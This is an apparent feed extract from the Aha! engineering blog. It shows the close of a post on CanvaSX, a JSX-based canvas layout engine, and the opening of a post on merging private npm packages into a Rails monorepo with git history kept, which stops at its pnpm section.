&lt;p&gt;My goal was simple and clear: I wanted to be able to write JSX code that could render a simple navigation/tab menu. The system should generate the layout and render that content for me dynamically, and I shouldn&apos;t have to think about the complexities of measuring text and padding and layouts. It would need to handle very common layout patterns such as margin, padding, (rounded) borders, and so on.&lt;/p&gt;
&lt;p&gt;The really powerful feature would be to have all the layout complexity completely hidden from the developer. When rendering the navigation items, the width of each item would need to be based on the text and/or icon inside it, and then the borders and background should be rendered based on the width of that content. We would then need to render dividers between each item.&lt;/p&gt;
&lt;h2&gt;Introducing CanvaSX&lt;/h2&gt;
&lt;p&gt;I spent some time prototyping a rough implementation of a rendering engine that I&apos;ve come to call CanvaSX (Canvas+JSX). The early versions were quite rough, but the benefits were obvious. I could write simple shapes like a button or navigation menu using very familiar syntax, and I didn&apos;t even have to think about calculating coordinates or layouts.&lt;/p&gt;
&lt;p&gt;Eventually, I added support for basic interaction properties (such as onClick and tooltip handlers) and some very rudimentary flexbox-like components, too. Now, we could have something like a real button completely rendered in Canvas. The end result made the emoji button as simple as this code:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  fill&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{backgroundColor}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  borderRadius&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  padding&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  onClick&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{emojiClickHandler}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  tooltip&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{emojiTooltipContent}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FlexRow&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; gap&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;verticalAlignment&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;center&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Emoji&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; shortCode&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{shortCode} /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Text&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{textColor}&gt;{votes}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Text&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;FlexRow&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which made sure we could offer reactions like these:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0d228c6ff41961b2c84b1a7a976dc670/emoji-reaction.png&quot; alt=&quot;Emoji reaction&quot;&gt;&lt;/p&gt;
&lt;p&gt;The wireframe button is very similar, but it simply passes along user input to the properties. For example, to support rounded vs. square buttons, we just need to write something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  fill&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{backgroundColor}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  borderRadius&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{round &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Text&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{textColor}&gt;{text}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Text&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This code is very easy to read for anyone familiar with React, and CanvaSX addresses all of the layout complexities.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;The magic behind CanvaSX is that every component can measure itself. With this information, CanvaSX can generate the layouts automatically. This is what the &lt;code&gt;Text&lt;/code&gt; component&apos;s measuring function might look like:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Text.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;calculateDimensions&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;props&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;ctx&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; CanvasRenderingContext2D&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (props.font) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    ctx.font &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; props.font;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; textMetrics&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;measureText&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(props.children);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;restore&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    width: textMetrics.width,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    height: textMetrics.fontBoundingBoxAscent,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;A parting note&lt;/h2&gt;
&lt;p&gt;Building CanvaSX is one of the highlights of my career. I have had the opportunity to work on many features in my more than five years of working at Aha! These include capacity planning for teams, redesigned drawers, &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt;, and our custom card layout editor. I&apos;ve recently worked on many improvements to Aha! Whiteboards, which is where CanvaSX came in. It has proven itself to be extremely powerful and flexible — and it is now used as the foundation for &lt;a href=&quot;https://www.aha.io/blog/introducing-emoji-reactions-on-whiteboards&quot;&gt;emoji reactions&lt;/a&gt;, &lt;a href=&quot;https://www.aha.io/whiteboards/wireframes&quot;&gt;wireframes&lt;/a&gt;, updated &lt;a href=&quot;https://www.aha.io/whiteboards/roadmaps-integration&quot;&gt;record cards&lt;/a&gt;, and our brand-new &lt;a href=&quot;https://www.aha.io/whiteboards/product-prioritization&quot;&gt;voting tool&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;I work with a team of extremely talented engineers at Aha! We collaborate to solve hard problems and deliver value to our users. If this sounds like something you would enjoy doing, you should check out our &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;open positions&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[From many to one: Moving our JavaScript code into a monorepo]]></title><description><![CDATA[Do we need a monorepo? When I first joined Aha!, I was surprised by how well-structured the engineering onboarding program was. I spent…]]></description><link>https://www.aha.io/engineering/articles/monorepo</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/monorepo</guid><dc:creator><![CDATA[José Guerrero]]></dc:creator><pubDate>Fri, 02 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-left: auto;
    margin-right: auto;
  }
&lt;/style&gt;
&lt;h2&gt;Do we need a monorepo?&lt;/h2&gt;
&lt;p&gt;When I first joined Aha!, I was surprised by how well-structured the &lt;a href=&quot;https://www.aha.io/engineering/articles/engineering-onboarding-at-aha&quot;&gt;engineering onboarding&lt;/a&gt; program was. I spent several weeks getting to know all the teams and learning the pieces of our system. What I didn&apos;t realize at the time was these onboarding conversations gave me more than basic technical knowledge. They opened a door into the full development workflow. When I saw a simple style change in our web components library take two pull requests and half an hour, I knew there was an unusual pain point.&lt;/p&gt;
&lt;p&gt;All of our products exist in a single Rails repository, so it&apos;s fair to say that we run a &lt;a href=&quot;https://www.aha.io/engineering/articles/from-one-many-building-a-product-suite-with-a-monolith&quot;&gt;multiproduct monolith&lt;/a&gt; that shares business logic, pieces of UI, and more. This makes it easy and fast to work on new features no matter the product(s). In contrast, much of our JavaScript code used to exist as private npm packages. Although having private packages is great for reusing code in many places, it is not the best option if you are mostly using them in a single place — because it adds too much overhead to the process. In our case, we were pulling most of the packages only into our Rails monolith.&lt;/p&gt;
&lt;p&gt;At Aha! we are &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;interrupt driven&lt;/a&gt;, and the engineering team makes big efforts to &lt;a href=&quot;https://www.aha.io/engineering/articles/cli-tools-at-aha&quot;&gt;create tools&lt;/a&gt; that help us do our work while being able to switch contexts easily and tackle bugs, assist a teammate, or just work on something else if we need to. The process to work on our private npm packages wasn&apos;t interrupt driven at all. If you had to work on one of our private packages, you knew it was going to take a significant amount of time (even if it was as simple as a style change in our web components library).&lt;/p&gt;
&lt;p&gt;Even though it could get tedious, the manual process was pretty straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Clone the repository of the package.&lt;/li&gt;
&lt;li&gt;Install the npm dependencies with the correct node version.&lt;/li&gt;
&lt;li&gt;Start the local development environment.&lt;/li&gt;
&lt;li&gt;Make changes to the codebase.&lt;/li&gt;
&lt;li&gt;Test changes in the package&apos;s local development environment.&lt;/li&gt;
&lt;li&gt;Link changes to our Rails app using yalc.&lt;/li&gt;
&lt;li&gt;Test changes in our local app environment.&lt;/li&gt;
&lt;li&gt;Repeat steps four through seven until you are happy with the changes.&lt;/li&gt;
&lt;li&gt;Create a pull request in the private package repository with the new changes.&lt;/li&gt;
&lt;li&gt;Request code review.&lt;/li&gt;
&lt;li&gt;Once code review is completed, merge the pull request and push the new package version to npm.&lt;/li&gt;
&lt;li&gt;Create a pull request in the Rails app to bump the package version.&lt;/li&gt;
&lt;li&gt;Request code review.&lt;/li&gt;
&lt;li&gt;Once code review is completed, merge the pull request and deploy to production.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The amount of time it took to ship anything related to a private npm package was way higher than what we were comfortable with, and having to request code reviews twice also took time from whoever was doing the reviews. During my first weeks, I only heard about this problem. But in my first few months at Aha!, I worked constantly in multiple private npm packages and quickly realized that this was really degrading the developer experience.&lt;/p&gt;
&lt;h2&gt;We need a monorepo — now what?&lt;/h2&gt;
&lt;p&gt;After experiencing this problem firsthand, I knew we had to do something about it. We don&apos;t have many meetings at Aha!, but we do have weekly check-ins with our managers. These are the perfect time to talk about what we would like to work on in the future. I volunteered to work on a monorepo proof of concept (POC) to determine whether or not it was feasible with our current architecture. We had a very specific set of goals for our monorepo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It needs to maintain Git history: Some of our packages are a couple years old, and we didn&apos;t want to lose all that history.&lt;/li&gt;
&lt;li&gt;It must be simple: We didn&apos;t want to add more complexity to an already complex codebase.&lt;/li&gt;
&lt;li&gt;It must improve developer experience: We didn&apos;t want to move the burden somewhere else — we were looking for a real solution.&lt;/li&gt;
&lt;li&gt;It must be compatible: We didn&apos;t want to make major changes to our tooling or CI.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Maintaining Git history&lt;/h2&gt;
&lt;p&gt;Code is a living creature, and keeping its history was one of the main problems we had to solve if we wanted to move forward with a monorepo. We knew we wanted to migrate our packages into a folder at the root of our Rails app named &quot;packages.&quot; There are some options one can take to maintain Git history when moving code across repositories, but we went with a simple one: a combination of &lt;code&gt;git mv&lt;/code&gt; and &lt;code&gt;git merge --allow-unrelated-histories.&lt;/code&gt; The steps we followed to move repositories into our Rails app were pretty simple:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# At the root of the package repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Move all the code into packages/package-name so we can merge it into our rails app.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; mv&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; packages/[package-name]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; mv&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; packages/[package-name]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Commit and push changes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;package-name: prepare codebase for monorepo&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# At the root of our rails app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Add the package remote to our rails app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; remote&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [package-name] [package-name].git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; fetch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [package-name]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Merge the package repository into our rails app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; merge&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [package-name]/master --allow-unrelated-histories&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Remove package remote&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; remote&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; remove&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [package-name]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Commit and push changes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; add&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -m&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Add package-name to the monorepo&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; master&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With these simple commands, we were able to move packages code into our Rails app while maintaining Git history.&lt;/p&gt;
&lt;h2&gt;Keeping it simple&lt;/h2&gt;
&lt;p&gt;After figuring out Git history, we jumped into the next task — and the most important, If I&apos;m honest — which is figuring out how to build a monorepo that doesn&apos;t add too much complexity to our codebase. If you search for information about JavaScript monorepos, you&apos;ll find something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2fb085559962c64e681a0f98649cb783/node_package_managers.png&quot; alt=&quot;Node package managers&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are many great tools for managing a monorepo, but I&apos;m only focusing on the ones that are purposely built with JavaScript and TypeScript in mind.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In short, you will see tools such as &lt;a href=&quot;https://lerna.js.org/&quot;&gt;Lerna&lt;/a&gt;, &lt;a href=&quot;https://nx.dev/&quot;&gt;Nx&lt;/a&gt;, &lt;a href=&quot;https://turbo.build/repo&quot;&gt;Turborepo&lt;/a&gt;, and &lt;a href=&quot;https://rushjs.io/&quot;&gt;Rush.js&lt;/a&gt;. When you start reading their documentation, you realize that there are so many possible combinations because you can use them with npm, Yarn, or pnpm. This makes certain combinations more suitable than others depending on your project&apos;s configuration and needs.&lt;/p&gt;
&lt;p&gt;We wanted to choose a tool that would allow us to grow for several years without worrying about major changes between releases. Additionally, we needed an easy-to-use interface. But it&apos;s hard to tell what tool is right for you if you don&apos;t try them all, right? We initially removed Lerna and Rush.js from the list of tools we wanted to try. The company that is behind Nx took over the &lt;a href=&quot;https://dev.to/nrwl/lerna-is-dead-long-live-lerna-3jal&quot;&gt;stewardship of Lerna&lt;/a&gt;, so between Nx and Lerna, we just wanted to try Nx. Rush.js is a great tool with a lot of features, but it&apos;s designed to shine in monorepos with hundreds of packages — and that wasn&apos;t going to be the case for ours. We decided to do a POC assessing &lt;a href=&quot;https://nx.dev/&quot;&gt;Nx&lt;/a&gt; and &lt;a href=&quot;https://turbo.build/repo&quot;&gt;Turborepo&lt;/a&gt; because they share similar features that were compelling given what we wanted from our monorepo. These included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Local computation caching&lt;/li&gt;
&lt;li&gt;Local task orchestration&lt;/li&gt;
&lt;li&gt;Distributed computation caching&lt;/li&gt;
&lt;li&gt;Detection of affected projects/packages&lt;/li&gt;
&lt;li&gt;Workspace analysis&lt;/li&gt;
&lt;li&gt;Dependency graph visualization&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We didn&apos;t want to use one of these tools if it wasn&apos;t necessary, and because of that, we also included pnpm workspaces in the POC. They don&apos;t have many of these features, but it was unclear to us at the time if our monorepo needed all that functionality. After conducting the POC, we had a better understanding of the pros and cons of each tool.&lt;/p&gt;
&lt;h2&gt;Nx + pnpm&lt;/h2&gt;
&lt;p&gt;The first tool we tried was &lt;a href=&quot;https://nx.dev/&quot;&gt;Nx&lt;/a&gt;. Although it&apos;s a very powerful and extensible tool, it added unnecessary complexity to our codebase. We didn&apos;t want to add another layer that our engineers had to learn in order to do their work. The way you &lt;a href=&quot;https://nx.dev/core-features/run-tasks#define-tasks&quot;&gt;define tasks in Nx and the concept of targets&lt;/a&gt; are simple to understand, but unique to the tool itself. This makes it difficult when it comes time to move into something else after you make your choice. Even though it&apos;s extensible, having a plugin ecosystem means that you could use someone else&apos;s code or build a plugin yourself if you would like to customize the monorepo even further. The features and functionality were there, but it wasn&apos;t a plug-and-play situation. The learning curve was also a bit demanding due to all the Nx-specific configurations, making it harder for us to justify the time and resource investment.&lt;/p&gt;
&lt;h2&gt;pnpm workspaces&lt;/h2&gt;
